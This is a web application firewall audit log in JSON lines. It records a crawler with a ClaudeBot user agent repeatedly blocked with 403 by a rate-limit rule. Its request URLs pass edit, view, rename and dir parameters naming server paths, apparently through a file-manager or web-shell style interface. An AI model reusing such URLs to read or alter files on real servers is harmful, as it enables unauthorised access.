\"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco/postcss.config.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":337,"p2":4149,"p3":0,"p4":0,"p5":582,"sr":166,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.391536 +0100","transaction_id":"abPOm-EAMg66iR7kG38gxQAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito.com%2Fagency-single.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6832b1749b8a2dbbfe1a3e16feec2fe5","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3839027"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6832b1749b8a2dbbfe1a3e16feec2fe5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito.com/agency-single.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":345,"p2":3164,"p3":0,"p4":0,"p5":576,"sr":194,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.483392 +0100","transaction_id":"abPOm1RY1ZHue1KnYxoqywAAApI","remote_address":"216.73.216.152","remote_port":33920,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco%2Fpackage-lock.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fdadeb7e15ef1330048dabcc6494e44d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3839030"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fdadeb7e15ef1330048dabcc6494e44d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco/package-lock.json& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":360,"p2":2882,"p3":0,"p4":0,"p5":518,"sr":171,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.572421 +0100","transaction_id":"abPOm1RY1ZHue1KnYxoqzAAAApI","remote_address":"216.73.216.152","remote_port":33920,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Fcoming-soon.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"22c66247696fbab05a3ff5a348f3cbfd","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028767"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"22c66247696fbab05a3ff5a348f3cbfd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/coming-soon.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":313,"p2":3037,"p3":0,"p4":0,"p5":490,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.664141 +0100","transaction_id":"abPOm1RY1ZHue1KnYxoqzQAAApI","remote_address":"216.73.216.152","remote_port":33920,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2F%2Fdev HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7097390e9f0b346457d3641a14d4a069","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3839033"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7097390e9f0b346457d3641a14d4a069","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=//dev& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":253,"p2":3000,"p3":0,"p4":0,"p5":478,"sr":162,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.753854 +0100","transaction_id":"abPOm0xHnLkyPWuTIW5cmQAAAZY","remote_address":"216.73.216.152","remote_port":33882,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fjmksite.jmkconsulting-ci.com%2Funzipper.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9ad913863fcb311a6ffb3d2992acff46","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288423"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9ad913863fcb311a6ffb3d2992acff46","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/jmksite.jmkconsulting-ci.com/unzipper.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":302,"p2":2871,"p3":0,"p4":0,"p5":463,"sr":187,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.854129 +0100","transaction_id":"abPOm-EAMg66iR7kG38gyQAAA0A","remote_address":"216.73.216.152","remote_port":33960,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Fdashboard-bookings.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"36ad7478993acb556720ebe41792e7f0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14288429"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"36ad7478993acb556720ebe41792e7f0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/dashboard-bookings.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":272,"p2":3499,"p3":0,"p4":0,"p5":543,"sr":201,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:15.934917 +0100","transaction_id":"abPOm6g_lPa2owFZ6_PvBQAAAQk","remote_address":"216.73.216.152","remote_port":33896,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex4.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1ba8f2638289e05754ec6e4a401336cb","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14223505"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1ba8f2638289e05754ec6e4a401336cb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index4.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":315,"p2":2903,"p3":0,"p4":0,"p5":485,"sr":171,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.027877 +0100","transaction_id":"abPOnKg_lPa2owFZ6_PvBgAAAQk","remote_address":"216.73.216.152","remote_port":33896,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Fdashboard-add-listing.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ff3ed833e93bc67e7c15eafc1c3b0055","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2921201"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ff3ed833e93bc67e7c15eafc1c3b0055","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/dashboard-add-listing.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":266,"p2":3028,"p3":0,"p4":0,"p5":479,"sr":172,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.116718 +0100","transaction_id":"abPOnIB2aIMAFdsi8EHyWwAAAsw","remote_address":"216.73.216.152","remote_port":33946,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fjmkconsulting.ci%2Funzipper.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b9579286b760092bc5dcd9e73af060f9","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9540469"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b9579286b760092bc5dcd9e73af060f9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/jmkconsulting.ci/unzipper.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":275,"p2":2825,"p3":0,"p4":0,"p5":486,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.208403 +0100","transaction_id":"abPOnKg_lPa2owFZ6_PvBwAAAQk","remote_address":"216.73.216.152","remote_port":33896,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Findex3.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ca285ca64d946b27962a344c9427d5e8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9540472"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ca285ca64d946b27962a344c9427d5e8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/index3.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":322,"p2":3014,"p3":0,"p4":0,"p5":492,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.299817 +0100","transaction_id":"abPOnE26I4peWFmz15ymuwAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco%2F.gitignore HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"dc65e55d80e5d750843d8287273c4853","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3839036"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"dc65e55d80e5d750843d8287273c4853","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco/.gitignore& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":336,"p2":2671,"p3":0,"p4":0,"p5":465,"sr":172,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.390467 +0100","transaction_id":"abPOnE26I4peWFmz15ymvAAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fsivaco%2Fresources HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"18306d2c300fa96039df6299c14692cc","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8424104"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"18306d2c300fa96039df6299c14692cc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/sivaco/resources& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":292,"p2":2656,"p3":0,"p4":0,"p5":363,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
